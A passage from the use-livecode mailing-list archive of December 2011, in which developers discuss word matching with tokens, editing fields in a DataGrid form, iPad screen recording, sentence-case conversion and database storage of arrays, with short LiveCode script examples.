you have available, then you are > going to have to bring it in from disk. Whether or not it is faster > to do that than to store it on the filesystem (with your 1,000 member > array just containing the path to the binary data), I do not know. > > My experiments some years ago using millions of rows of numeric data, > demonstrated to me that nothing available to Livecode except its own > arrays really proved a suitably fast datastore (I compared it with > in-memory databases, accessing some high-cost commercial databases > with in-memory tables too). > > One thing that has not been brought out so far in this discussion is > that when passing data to a SQL statement in Livecode, it is possible > to have your data stored in an array with numbered keys e.g. > myArray[1], myArray[2]... and then to pass that array's name to the > Livecode SQL functions using :1, :2... to pass in the data. > > Search the following page for this line of text: | revExecuteSQL > myID,"insert into mytable values(:1,:2,:1)","myArray" | > > http://docs.runrev.com/Command/revExecuteSQL > > Bernard -- Best regards, Ruslan Zasukhin VP Engineering and New Technology Paradigma Software, Inc Valentina - Joining Worlds of Information http://www.paradigmasoft.com [I feel the need: the need for speed] From cszasz at mac.com Wed Dec 21 11:12:09 2011 From: cszasz at mac.com (Charles Szasz) Date: Wed, 21 Dec 2011 11:12:09 -0500 Subject: DataGrid Problem Message-ID: <5EF39767-126D-4B98-9453-91061568AEED@mac.com> Hi Pete! I am using the Form version of DataGrid and not a table. The form is a scrolling field. I have one field "strategy" that displays statements from an array. This works fine. But as I stated before I have not been able to add an Edit Field (field "freq"). When I include the following code for a Edit Field (field "freq") in the Behavior script, the statements from my Strategy field disappears! on FillInData pDataArray set the text of field "Strategy" of me to pDataArray["Strategy"] set the text of field "freq" of me to empty end FillInData on LayoutControl local theFieldRect,theMasterRect put the rect of me into theMasterRect put the rect of field "Strategy" of me into theMasterRect set the left of field "Strategy" of me to item 1 of theMasterRect put the rect of field "freq" of me into theMasterRect set the right of field "freq" of me to item 4 of theMasterRect put the rect of grc "Background" of me into r set the rect of grc "Background" of me to r end LayoutControl Any suggestions would be greatly appreciated! Charles Szasz cszasz at mac.com From bobs at twft.com Wed Dec 21 11:24:59 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 21 Dec 2011 08:24:59 -0800 Subject: is among the words AND find words In-Reply-To: <4EF1B1C6.7070004@tweedly.net> References: <4EF1B1C6.7070004@tweedly.net> Message-ID: I think this underscores the need for the words keyword to be upgraded to reflect real text. For instance, word delimiters could be a property containing all the characters which might be word delimiters, all the punctuations for example. I don't know how you would treat a hyphen. Upon thinking about it, I am not sure what the application would be for finding specific words in an english (or any other languages) phrase. It is useful for finding keywords in a Livecode statement for sure. Bob On Dec 21, 2011, at 2:15 AM, Alex Tweedly wrote: > Hmmm ... what will happen to "there is time,enough for it" - NB no space before or after the comma. > > I think you *want* to find "time" in that case - but I'm not sure if you will by stripping out all non-letter characters from the word "time,enough". > > Would it not be simpler (and faster) to find the the word as a string, and then verify that the char before is not a letter, and that the char after it is not a letter ? > > but then, what about "find the time-bomb here" ? Is time a word, or time-bomb a single, hyphenated word ? > Oh well, you choose :-) > > -- Alex. > > On 21/12/2011 05:10, Jim Hurley wrote: >> Think I will try something like this. >> >> Test to see if the word, as a string, is in the text. >> If so, then strip out all characters not between "a" and "z" or "A" and "Z" and then check to see if the stripped-down word is the same as the test word. >> >> That way I will find "time" even if it appears as "(time)" or "time." or "time," or with quotes on either side, etc. >> >> I wonder what algorithm LC uses in "Find word(s)" to find only words. >> >> Jim Hurley > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From williamdesmet at gmail.com Wed Dec 21 12:56:15 2011 From: williamdesmet at gmail.com (William de Smet) Date: Wed, 21 Dec 2011 18:56:15 +0100 Subject: iPad screenrecording: how? Message-ID: Hi there, I want to make a screen recording of my new iPad app. How do you people do this? There are no iPad screen recording apps yet. Are there? For now I started to use the iPad simulator and use Quicktime to make a screenrecording (OSX Lion). This gives a fairly good .mov file but the sound is terrible because it uses the internal mic of my iMac. I use iMovie to do the editing. Any ideas and advice is welcome. greetings, William From pete at mollysrevenge.com Wed Dec 21 13:12:30 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 21 Dec 2011 10:12:30 -0800 Subject: is among the words AND find words In-Reply-To: <4EF1B1C6.7070004@tweedly.net> References: <4EF1B1C6.7070004@tweedly.net> Message-ID: The token keyword works with "time," and "time-bomb" (assuming you want to find just "time"). I've found it to be really useful in a number of circumstances in parsing out chunks of text from strings that don't fit the standard word model - like SQL statements which can include commas, parentheses, quotes, single quotes, and periods. Many punctuation marks are treated as separate tokens as well as anything delimited by a space, return, tab, or semicolon. Only drawback is that there is no tokenOffset function so you have to write your own using a repeat loop to go through the string. Pete On Wed, Dec 21, 2011 at 2:15 AM, Alex Tweedly wrote: > Hmmm ... what will happen to "there is time,enough for it" - NB no space > before or after the comma. > > I think you *want* to find "time" in that case - but I'm not sure if you > will by stripping out all non-letter characters from the word "time,enough". > > Would it not be simpler (and faster) to find the the word as a string, and > then verify that the char before is not a letter, and that the char after > it is not a letter ? > > but then, what about "find the time-bomb here" ? Is time a word, or > time-bomb a single, hyphenated word ? > Oh well, you choose :-) > > -- Alex. > > > On 21/12/2011 05:10, Jim Hurley wrote: > >> Think I will try something like this. >> >> Test to see if the word, as a string, is in the text. >> If so, then strip out all characters not between "a" and "z" or "A" and >> "Z" and then check to see if the stripped-down word is the same as the >> test word. >> >> That way I will find "time" even if it appears as "(time)" or "time." or >> "time," or with quotes on either side, etc. >> >> I wonder what algorithm LC uses in "Find word(s)" to find only words. >> >> Jim Hurley >> > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From stephenREVOLUTION2 at barncard.com Wed Dec 21 13:13:46 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Wed, 21 Dec 2011 10:13:46 -0800 Subject: iPad screenrecording: how? In-Reply-To: References: Message-ID: you might use a tripod and a video camera. "Shooting the screen" isn't too bad if the camera and subject are steady. The audio could be direct if it's first turned down in level - video cameras are usually mic level in and would probably sound better with a close up mic I've used this technique as a way to report bugs in software that involve two screens - that can't be screen-recorded properly. On 21 December 2011 09:56, William de Smet wrote: > Hi there, > > I want to make a screen recording of my new iPad app. > How do you people do this? > There are no iPad screen recording apps yet. Are there? > > For now I started to use the iPad simulator and use Quicktime to make a > screenrecording (OSX Lion). > This gives a fairly good .mov file but the sound is terrible because it > uses the internal mic of my iMac. > I use iMovie to do the editing. > > Any ideas and advice is welcome. > > greetings, > > William > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From mark_powell at symantec.com Wed Dec 21 13:16:26 2011 From: mark_powell at symantec.com (Mark Powell) Date: Wed, 21 Dec 2011 10:16:26 -0800 Subject: iPad screenrecording: how? In-Reply-To: References: Message-ID: <3469AF22E7D82A46A12B6612437B8DF5029F3BAA93@TUS1XCHEVSPIN38.SYMC.SYMANTEC.COM> Hi William: I have to set up an external video camera to do recordings of iPad. Works decently, but a lot of overhead. Would be very interested if there is an application that can render the gestures (i.e. shows virtual hand and finger gestures). That would be a *great* app to have for anyone who needs to train on how to run an iPad. It would also need to somehow render the iPad bezel (home button, orientation lock, et.al.). If anyone wants to develop such a thing, you will definitely have at least one customer! Mark From pete at mollysrevenge.com Wed Dec 21 13:22:58 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 21 Dec 2011 10:22:58 -0800 Subject: DataGrid Problem In-Reply-To: <5EF39767-126D-4B98-9453-91061568AEED@mac.com> References: <5EF39767-126D-4B98-9453-91061568AEED@mac.com> Message-ID: Ah yes, sorry I'm not very familiar with using datagrid forms. The lesson after the one I pointed you to is titled "How Can The User Edit Field Content In A Datagrid Form" so hopefully it will provide some guidance. Maybe zryip or Trevor can help? On Wed, Dec 21, 2011 at 8:12 AM, Charles Szasz wrote: > Hi Pete! > > I am using the Form version of DataGrid and not a table. The form is a > scrolling field. I have one field "strategy" that displays statements from > an array. This works fine. But as I stated before I have not been able to > add an Edit Field (field "freq"). > > When I include the following code for a Edit Field (field "freq") in the > Behavior script, the statements from my Strategy field disappears! > > on FillInData pDataArray > set the text of field "Strategy" of me to pDataArray["Strategy"] > set the text of field "freq" of me to empty > end FillInData > > > on LayoutControl > local theFieldRect,theMasterRect > > put the rect of me into theMasterRect > > put the rect of field "Strategy" of me into theMasterRect > set the left of field "Strategy" of me to item 1 of theMasterRect > > put the rect of field "freq" of me into theMasterRect > set the right of field "freq" of me to item 4 of theMasterRect > > put the rect of grc "Background" of me into r > set the rect of grc "Background" of me to r > end LayoutControl > > Any suggestions would be greatly appreciated! > > Charles Szasz > cszasz at mac.com > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From bobs at twft.com Wed Dec 21 13:24:51 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 21 Dec 2011 10:24:51 -0800 Subject: is among the words AND find words In-Reply-To: References: <4EF1B1C6.7070004@tweedly.net> Message-ID: <23ED7D98-E37D-4593-9BB6-365B6113B079@twft.com> Feature request! Sign me up! Bob On Dec 21, 2011, at 10:12 AM, Pete wrote: > The token keyword works with "time," and "time-bomb" (assuming you want to > find just "time"). I've found it to be really useful in a number of > circumstances in parsing out chunks of text from strings that don't fit the > standard word model - like SQL statements which can include commas, > parentheses, quotes, single quotes, and periods. Many punctuation marks > are treated as separate tokens as well as anything delimited by a space, > return, tab, or semicolon. Only drawback is that there is no tokenOffset > function so you have to write your own using a repeat loop to go through > the string. > Pete From bdrunrev at gmail.com Wed Dec 21 13:27:45 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Wed, 21 Dec 2011 18:27:45 +0000 Subject: Database syntax In-Reply-To: References: Message-ID: I think I've hijacked this thread beyond providing the OP with the links to the Runrev documentation. I'm emailing Ruslan privately about this discussion so that others don't have to bother with it. I'm not slighting Ruslan in the least, nor saying that people should avoid databases. Bernard From pete at mollysrevenge.com Wed Dec 21 13:35:26 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 21 Dec 2011 10:35:26 -0800 Subject: Database syntax In-Reply-To: References: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> <8FB828F7-4D37-4DA2-A34C-B7958459BD89@twft.com> <121341724203.20111220175727@ahsoftware.net> Message-ID: I think the guy who asked the original question must be tearing his hair out by now! One thing I mentioned earlier that might be relevant to him is that there's no need to use blobs when storing LC arrays. Just use base64 encoding and store it in a text field, works fine. Some folks on this list pointed me in that direction a few months back. On Wed, Dec 21, 2011 at 12:48 AM, Bernard Devlin wrote: > Actually, this was precisely the situation in which multiple LC > arrays, being used as "tables", where the array key was the primary > key of the "table", and joining these "tables" was far faster to do > using LC arrays than any in-memory SQL database. Admittedly these > were only 2-way and 3-way joins, so _maybe_ if they were 7-way joins I > might not have seen the same performance difference. > > If you need a RDBMS (and integrity checks, triggers, etc), then you > probably do need it -- there's no point in re-inventing the wheel. > But if you need to just store a list of blobs, then an array with > pointers to blobs on the filesystem might still be much faster (and > much simpler). > > I'm not opposed to RDBMS per se. In my time, I've used Oracle, > Firebird, Frontbase, Postgresql, Openbase, HSQL, Valentina and Sqlite, > and I still use some of those if the situation needs it. > > Bernard > > On Wed, Dec 21, 2011 at 2:25 AM, Pete wrote: > > But as soon as you get into multiple datasets with links between them or > > multiple ways to access one dataset or multiple users accessing the same > > data, there's a strong justification to use a database unless the > > performance/memory issues are so bad that you can't deal with them > (which I > > find difficult to believe). > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From bdrunrev at gmail.com Wed Dec 21 13:40:16 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Wed, 21 Dec 2011 18:40:16 +0000 Subject: is among the words AND find words In-Reply-To: <23ED7D98-E37D-4593-9BB6-365B6113B079@twft.com> References: <4EF1B1C6.7070004@tweedly.net> <23ED7D98-E37D-4593-9BB6-365B6113B079@twft.com> Message-ID: Before rushing for a tokenOffset feature request, perhaps it might be worth considering some other options. Perhaps there could be a way of signalling a string of items which would mark either what should be considered a non-word, or a non-token. That way such a search feature could be used with non-ascii languages. I believe there is some work coming up at some point on right-to-left languages. So perhaps this string of word-items or token-items could be added then. Just my 2c. Bernard On Wed, Dec 21, 2011 at 6:24 PM, Bob Sneidar wrote: > Feature request! Sign me up! From jhurley0305 at sbcglobal.net Wed Dec 21 13:40:44 2011 From: jhurley0305 at sbcglobal.net (Jim Hurley) Date: Wed, 21 Dec 2011 10:40:44 -0800 Subject: is among the words AND find words In-Reply-To: References: Message-ID: <9AB62B07-5896-49A3-A78E-126BE9756DE7@sbcglobal.net> Bob et. al. > > Message: 14 > Date: Wed, 21 Dec 2011 08:24:59 -0800 > From: Bob Sneidar > To: How to use LiveCode > Subject: Re: is among the words AND find words > Message-ID: > Content-Type: text/plain; charset=us-ascii > > I think this underscores the need for the words keyword to be upgraded to reflect real text. For instance, word delimiters could be a property containing all the characters which might be word delimiters, all the punctuations for example. I don't know how you would treat a hyphen. That would work. > > Upon thinking about it, I am not sure what the application would be for finding specific words in an english (or any other languages) phrase. It is useful for finding keywords in a Livecode statement for sure. > Bob The application would be one of gatering all the lines in a text field that contain a word or words and displaying them in a second field. The text might also include quotes and that messes up the wordOffset function. Turns out the tokens don't work since the period is not a token so the token 1 of "time." is time. Astonishingly, it turns out that LC all allows for Put "time" is among the tokens of "Now is the time, for all good men." That returns true. But Put "men" is among the tokens of "Now is the time, for all good men." returns false--because of the period after "men" I think I'll just strip the lead and trailing characters from the resulting wordOffset word, using something like: function stripEnds tWord repeat if charIsNotLetter (char 1 of tWord) then delete char 1 of tWord next repeat else exit repeat end if end repeat repeat if charIsNotLetter (char -1 of tWord) then delete char -1 of tWord next repeat else exit repeat end if end repeat return tWord end stripEnds function charIsNotLetter tChar put charToNum(tChar) into tNum switch case tNum >= charToNum("a") and tNum <= charToNum("z") return false break case tNum >= charToNum("A") and tNum <= charToNum("Z") return false break default return true end switch end charIsNotLetter But I would prefer RR to implement your suggestion of augmenting the delimiters for "word" to include all non-letters. From ruslan_zasukhin at valentina-db.com Wed Dec 21 13:50:34 2011 From: ruslan_zasukhin at valentina-db.com (Ruslan Zasukhin) Date: Wed, 21 Dec 2011 20:50:34 +0200 Subject: Database syntax In-Reply-To: Message-ID: On 12/21/11 8:27 PM, "Bernard Devlin" wrote: > I think I've hijacked this thread beyond providing the OP with the > links to the Runrev documentation. I'm emailing Ruslan privately > about this discussion so that others don't have to bother with it. > I'm not slighting Ruslan in the least, nor saying that people should > avoid databases. Hi Bernard, Be sure I have jump not because feel any offend. Just I like repeat some things many times. May be because I am a teacher by nature :-) Its interesting even for myself answer question: when you choose db and when no. So I have try list that possible reasons ... Agree its hard find such reasons together. And I think yet dozen reasons direct and indirect can be remembered. -- Best regards, Ruslan Zasukhin VP Engineering and New Technology Paradigma Software, Inc Valentina - Joining Worlds of Information http://www.paradigmasoft.com [I feel the need: the need for speed] From zryip.theslug at gmail.com Wed Dec 21 14:25:04 2011 From: zryip.theslug at gmail.com (zryip theSlug) Date: Wed, 21 Dec 2011 20:25:04 +0100 Subject: DataGrid Problem In-Reply-To: <5EF39767-126D-4B98-9453-91061568AEED@mac.com> References: <5EF39767-126D-4B98-9453-91061568AEED@mac.com> Message-ID: On Wed, Dec 21, 2011 at 5:12 PM, Charles Szasz wrote: > I am using the Form version of DataGrid and not a table. The form is a scrolling field. I have one field "strategy" that displays statements from an array. This works fine. But as I stated before I have not been able to add an Edit Field (field "freq"). > > When I include the following code for a Edit Field (field "freq") in the Behavior script, the statements from my Strategy field disappears! > > on FillInData pDataArray > ? set the text of field "Strategy" of me to pDataArray["Strategy"] > ? set the text of field "freq" of me to empty > end FillInData > > > on LayoutControl > ? local theFieldRect,theMasterRect > > ? put the rect of me into theMasterRect > > ? put the rect of field "Strategy" of me into theMasterRect > ? set the left of field "Strategy" of me to item 1 of theMasterRect > > ? put the rect of field "freq" of me into theMasterRect > ? set the right of field "freq" of me to item 4 of theMasterRect > > ? put the rect of grc "Background" of me into r > ? set the rect of grc "Background" of me to r > end LayoutControl Hi Charles, For editing a field in a datagrid form, you need a little more code than the fillindata and layoutcontrol handlers. First of all the LayoutControl handler have one parameter you can use for getting the rect of me: on LayoutControl pControlRect In the LayoutControl handler, you are placing controls relatively to their own rects instead of using the rect of the datagrid cell. I have not tested the result of your code, but the result should be a bit different than the result you are expecting. This could maybe explain why the strategy field is not visible: because it is maybe not include in the rect of the cell row. Comment the layoutcontrol code and try again. About editing a field in a datagrid form: Most common usage is to edit a field by double clicking on it. So you need a mouseDoubleUp handler in your behavior script: on mouseDoubleUp pMouseBtnNum if pMouseBtnNum is 1 then if (word 1 of the target is "field") then if the dgProps["allow editing"] of the dgControl of me then EditFieldText the long id of the target, the dgIndex of me,"freq" exit mouseDoubleUp end if end if end if pass mouseDoubleUp end mouseDoubleUp 1. The field is editable only if the datagrid is editable (the dgProps["allow editing"] of the dgControl of me) 2. With the EditFieldText handler we are assuming you have a key named "freq" in your datagrid data. 3. the dgIndex of me is the index of the edited row. For more information about the EditFieldText handler, have a look to this datagrid lesson: http://lessons.runrev.com/s/lessons/m/datagrid/l/7336-How-Can-The-User-Edit-Field-Content-in-a-Data-Grid-Form- Best regards, -- -Zryip TheSlug- wish you the best! 8) http://www.aslugontheroad.com From admin at FlexibleLearning.com Wed Dec 21 15:00:29 2011 From: admin at FlexibleLearning.com (FlexibleLearning) Date: Wed, 21 Dec 2011 20:00:29 -0000 Subject: is among the words AND find words In-Reply-To: Message-ID: An alternative approach: Assuming that the phrase "now is the time, for all good men" is in fld 1, then this button script.... on mouseUp put findWord(fld 1,"time") end mouseUp function findWord pContent,pStr if pStr is among the tokens of pContent then return num of words of char 1 to offset(pStr,pContent) of pContent else return 0 end findWord reurns 4 as expected. Similarly for 'time-bomb' and other variants. Hugh Senior FLCo From mwieder at ahsoftware.net Wed Dec 21 15:09:03 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 21 Dec 2011 12:09:03 -0800 Subject: is among the words AND find words In-Reply-To: References: Message-ID: <113407220062.20111221120903@ahsoftware.net> FlexibleLearning- Wednesday, December 21, 2011, 12:00:29 PM, you wrote: > An alternative approach: > Assuming that the phrase "now is the time, for all good men" is in fld 1, > then this button script.... > on mouseUp > put findWord(fld 1,"time") > end mouseUp > function findWord pContent,pStr > if pStr is among the tokens of pContent then > return num of words of char 1 to offset(pStr,pContent) of pContent > else return 0 > end findWord > reurns 4 as expected. Similarly for 'time-bomb' and other variants. Yes, but... if the phrase is "now is the time,for all good men" then a search for "all" will return 5 instead of 6. -- -Mark Wieder mwieder at ahsoftware.net From jhurley0305 at sbcglobal.net Wed Dec 21 15:28:08 2011 From: jhurley0305 at sbcglobal.net (Jim Hurley) Date: Wed, 21 Dec 2011 12:28:08 -0800 Subject: is among the words AND find words In-Reply-To: References: Message-ID: <4105A0FA-A8A5-4789-B650-FF65C603E5AD@sbcglobal.net> Thanks, Hugh. Unfortunately there are a couple of problems. It won't work for this line: Now is the time. because of the period. Nor for the line "Now is the time for all" because of the quotes. Stripping the lead and trailing characters is cumbersome, but fairly reliable--except for quotes, where I just replace the quote with a carrot or whatever. > An alternative approach: > > Assuming that the phrase "now is the time, for all good men" is in fld 1, > then this button script.... > > on mouseUp > put findWord(fld 1,"time") > end mouseUp > > function findWord pContent,pStr > if pStr is among the tokens of pContent then > return num of words of char 1 to offset(pStr,pContent) of pContent > else return 0 > end findWord > > reurns 4 as expected. Similarly for 'time-bomb' and other variants. > > Hugh Senior > FLCo From katir at hindu.org Wed Dec 21 15:43:32 2011 From: katir at hindu.org (Sivakatirswami) Date: Wed, 21 Dec 2011 10:43:32 -1000 Subject: Function to Upper and Lower Case sentences Message-ID: <4EF244F4.2070003@hindu.org> I have a need to take all caps input and 1) Lower case all but first letter of sentences 2) Upper case words in a small dictionary I will provide to the function. As anyone cooked up something like this already... if I just had 1) can manage 2) Happy Holidays! Om Shanti Sivakatirswami Kauai Aadheenam From pete at mollysrevenge.com Wed Dec 21 15:46:01 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 21 Dec 2011 12:46:01 -0800 Subject: is among the words AND find words In-Reply-To: <113407220062.20111221120903@ahsoftware.net> References: <113407220062.20111221120903@ahsoftware.net> Message-ID: Plus it doesn't work for the case where the sentence ends with a period and you search for "men" - that returns zero. On Wed, Dec 21, 2011 at 12:09 PM, Mark Wieder wrote: > FlexibleLearning- > > Wednesday, December 21, 2011, 12:00:29 PM, you wrote: > > > An alternative approach: > > > Assuming that the phrase "now is the time, for all good men" is in fld 1, > > then this button script.... > > > on mouseUp > > put findWord(fld 1,"time") > > end mouseUp > > > function findWord pContent,pStr > > if pStr is among the tokens of pContent then > > return num of words of char 1 to offset(pStr,pContent) of pContent > > else return 0 > > end findWord > > > reurns 4 as expected. Similarly for 'time-bomb' and other variants. > > Yes, but... if the phrase is "now is the time,for all good men" then a > search for "all" will return 5 instead of 6. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From bobs at twft.com Wed Dec 21 15:48:38 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 21 Dec 2011 12:48:38 -0800 Subject: Database syntax In-Reply-To: References: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> <8FB828F7-4D37-4DA2-A34C-B7958459BD89@twft.com> <121341724203.20111220175727@ahsoftware.net> Message-ID: <5B61FDC1-4ADA-4C2A-A95D-191EB76BE0A1@twft.com> How can you tell how big the encoded array will be? I would use blobs whenever the size might increase in the future beyond what I expected. But if the array is a fixed size, and you know for certain it will never grow beyond x, then a text column would do fine. Bob On Dec 21, 2011, at 10:35 AM, Pete wrote: > One thing I mentioned earlier that might be relevant to him is that there's > no need to use blobs when storing LC arrays. Just use base64 encoding and > store it in a text field, works fine. Some folks on this list pointed me > in that direction a few months back. From bobs at twft.com Wed Dec 21 15:52:24 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 21 Dec 2011 12:52:24 -0800 Subject: is among the words AND find words In-Reply-To: <4105A0FA-A8A5-4789-B650-FF65C603E5AD@sbcglobal.net> References: <4105A0FA-A8A5-4789-B650-FF65C603E5AD@sbcglobal.net> Message-ID: <56819586-2707-493A-9F2A-52FB20A8499E@twft.com> On Dec 21, 2011, at 12:28 PM, Jim Hurley wrote: > where I just replace the quote with a carrot or whatever You must mean caret? ;-) Otherwise I think you just found an algorithm that could solve the problem of world hunger! Bob From bobs at twft.com Wed Dec 21 15:54:46 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 21 Dec 2011 12:54:46 -0800 Subject: is among the words AND find words In-Reply-To: <113407220062.20111221120903@ahsoftware.net> References: <113407220062.20111221120903@ahsoftware.net> Message-ID: I suppose it could be argued that everything would break down if the text were "now,is,the,time,for,all,goo,men..." but at some point we have to presume the absence of the absurd? to have 2 words split by a comma is a problem with the data, not with the software. Bob On Dec 21, 2011, at 12:09 PM, Mark Wieder wrote: > Yes, but... if the phrase is "now is the time,for all good men" then a > search for "all" will return 5 instead of 6. > > -- > -Mark Wieder > mwieder at ahsoftware.net From bobs at twft.com Wed Dec 21 15:57:14 2011 From: bobs at twft.com (Bob Sneidar) Date: Wed, 21 Dec 2011 12:57:14 -0800 Subject: Function to Upper and Lower Case sentences In-Reply-To: <4EF244F4.2070003@hindu.org> References: <4EF244F4.2070003@hindu.org> Message-ID: <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> On Dec 21, 2011, at 12:43 PM, Sivakatirswami wrote: > I have a need to take all caps input and > > 1) Lower case all but first letter of sentences > > 2) Upper case words in a small dictionary I will provide to the function. > > As anyone cooked up something like this already... if I just had 1) can manage 2) > > Happy Holidays! > > Om Shanti > Sivakatirswami > > Kauai Aadheenam > > __________________________ function titleCase theText, forceIt if forceIt is true then put tolower(theText) into theText end if repeat with theWordNum = 1 to the number of words of theText put toupper(char 1 of word theWordNum of theText) & \ char 2 to -1 of word theWordNum of theText \ into word theWordNum of theText end repeat return theText end titleCase From dunbarx at aol.com Wed Dec 21 16:00:42 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Wed, 21 Dec 2011 16:00:42 -0500 (EST) Subject: Function to Upper and Lower Case sentences In-Reply-To: <4EF244F4.2070003@hindu.org> References: <4EF244F4.2070003@hindu.org> Message-ID: <8CE8E3ABC5A8A14-1768-8D63C@webmail-m030.sysops.aol.com> Try something like this: on mouseUp get fld "yourField" put toLower(it) into it repeat for each word tWord in it put toUpper(char 1 of tWord) into char 1 of tWord end repeat put it into fld "yourField" end mouseUp -----Original Message----- From: Sivakatirswami To: How to use LiveCode Sent: Wed, Dec 21, 2011 10:45 am Subject: Function to Upper and Lower Case sentences I have a need to take all caps input and 1) Lower case all but first letter of sentences 2) Upper case words in a small dictionary I will provide to the function. As anyone cooked up something like this already... if I just had 1) can manage 2) Happy Holidays! Om Shanti Sivakatirswami Kauai Aadheenam _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From katir at hindu.org Wed Dec 21 16:02:40 2011 From: katir at hindu.org (Sivakatirswami) Date: Wed, 21 Dec 2011 11:02:40 -1000 Subject: Function to Upper and Lower Case sentences In-Reply-To: <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> References: <4EF244F4.2070003@hindu.org> <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> Message-ID: <4EF24970.20901@hindu.org> OK yes, Title case is easy... It's sentence case I was looking for because a period/dot is not part of a word. I guess one could use a dot as a line delimiter and then step thru the lines. On 12/21/11 10:57 AM, Bob Sneidar wrote: > On Dec 21, 2011, at 12:43 PM, Sivakatirswami wrote: > >> I have a need to take all caps input and >> >> 1) Lower case all but first letter of sentences >> >> 2) Upper case words in a small dictionary I will provide to the function. >> >> As anyone cooked up something like this already... if I just had 1) can manage 2) >> >> Happy Holidays! >> >> Om Shanti >> Sivakatirswami >> >> Kauai Aadheenam >> >> __________________________ > function titleCase theText, forceIt > if forceIt is true then > put tolower(theText) into theText > end if > > repeat with theWordNum = 1 to the number of words of theText > put toupper(char 1 of word theWordNum of theText)& \ > char 2 to -1 of word theWordNum of theText \ > into word theWordNum of theText > end repeat > > return theText > end titleCase > > > _______________________________________________ > From pete at mollysrevenge.com Wed Dec 21 16:14:51 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 21 Dec 2011 13:14:51 -0800 Subject: Function to Upper and Lower Case sentences In-Reply-To: <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> References: <4EF244F4.2070003@hindu.org> <57770C07-268C-4AB3-AE77-3A2C4AA1863A@twft.com> Message-ID: I think he's looking for something to capitalize the first char of each sentence, not of each word. On Wed, Dec 21, 2011 at 12:57 PM, Bob Sneidar wrote: > > end repeat -- Pete Molly's Revenge From pete at mollysrevenge.com Wed Dec 21 16:17:46 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 21 Dec 2011 13:17:46 -0800 Subject: is among the words AND find words In-Reply-To: References: <113407220062.20111221120903@ahsoftware.net> Message-ID: Not really - try parsing out an SQL SELECT statement. Granted that's not really English text but if you want to make this a general purpose function, you have to deal with that circumstance. I needed to do that and ended up going through the text and inserting a space after each comma if there wasn't already one there. On Wed, Dec 21, 2011 at 12:54 PM, Bob Sneidar wrote: > I suppose it could be argued that everything would break down if the text > were "now,is,the,time,for,all,goo,men..." but at some point we have to > presume the absence of the absurd? to have 2 words split by a comma is a > problem with the data, not with the software. > > Bob > > > On Dec 21, 2011, at 12:09 PM, Mark Wieder wrote: > > > Yes, but... if the phrase is "now is the time,for all good men" then a > > search for "all" will return 5 instead of 6. > > > > -- > > -Mark Wieder > > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From pete at mollysrevenge.com Wed Dec 21 16:22:46 2011 From: pete at mollysrevenge.com (Pete) Date: Wed, 21 Dec 2011 13:22:46 -0800 Subject: Database syntax In-Reply-To: <5B61FDC1-4ADA-4C2A-A95D-191EB76BE0A1@twft.com> References: <76FFFAD9-C9C7-43EC-8AAD-DE5A5B2E19FD@doub.com> <8FB828F7-4D37-4DA2-A34C-B7958459BD89@twft.com> <121341724203.20111220175727@ahsoftware.net> <5B61FDC1-4ADA-4C2A-A95D-191EB76BE0A1@twft.com> Message-ID: The problem I had was that it just didn't work using a blob. The encoded array got stored OK but LC didn't recognise what came back as an array, don't remember all the details. The default max size of a text field in SQLite is 1 million characters so I think he'd be pretty safe. On Wed, Dec 21, 2011 at 12:48 PM, Bob Sneidar wrote: > How can you tell how big the encoded array will be? I would use blobs > whenever the size might increase in the future beyond what I expected. But > if the array is a fixed size, and you know for certain it will never grow > beyond x, then a text column would do fine. > > Bob > > > On Dec 21, 2011, at 10:35 AM, Pete wrote: > > > One thing I mentioned earlier that might be relevant to him is that > there's > > no need to use blobs when storing LC arrays. Just use base64 encoding and > > store it in a text field, 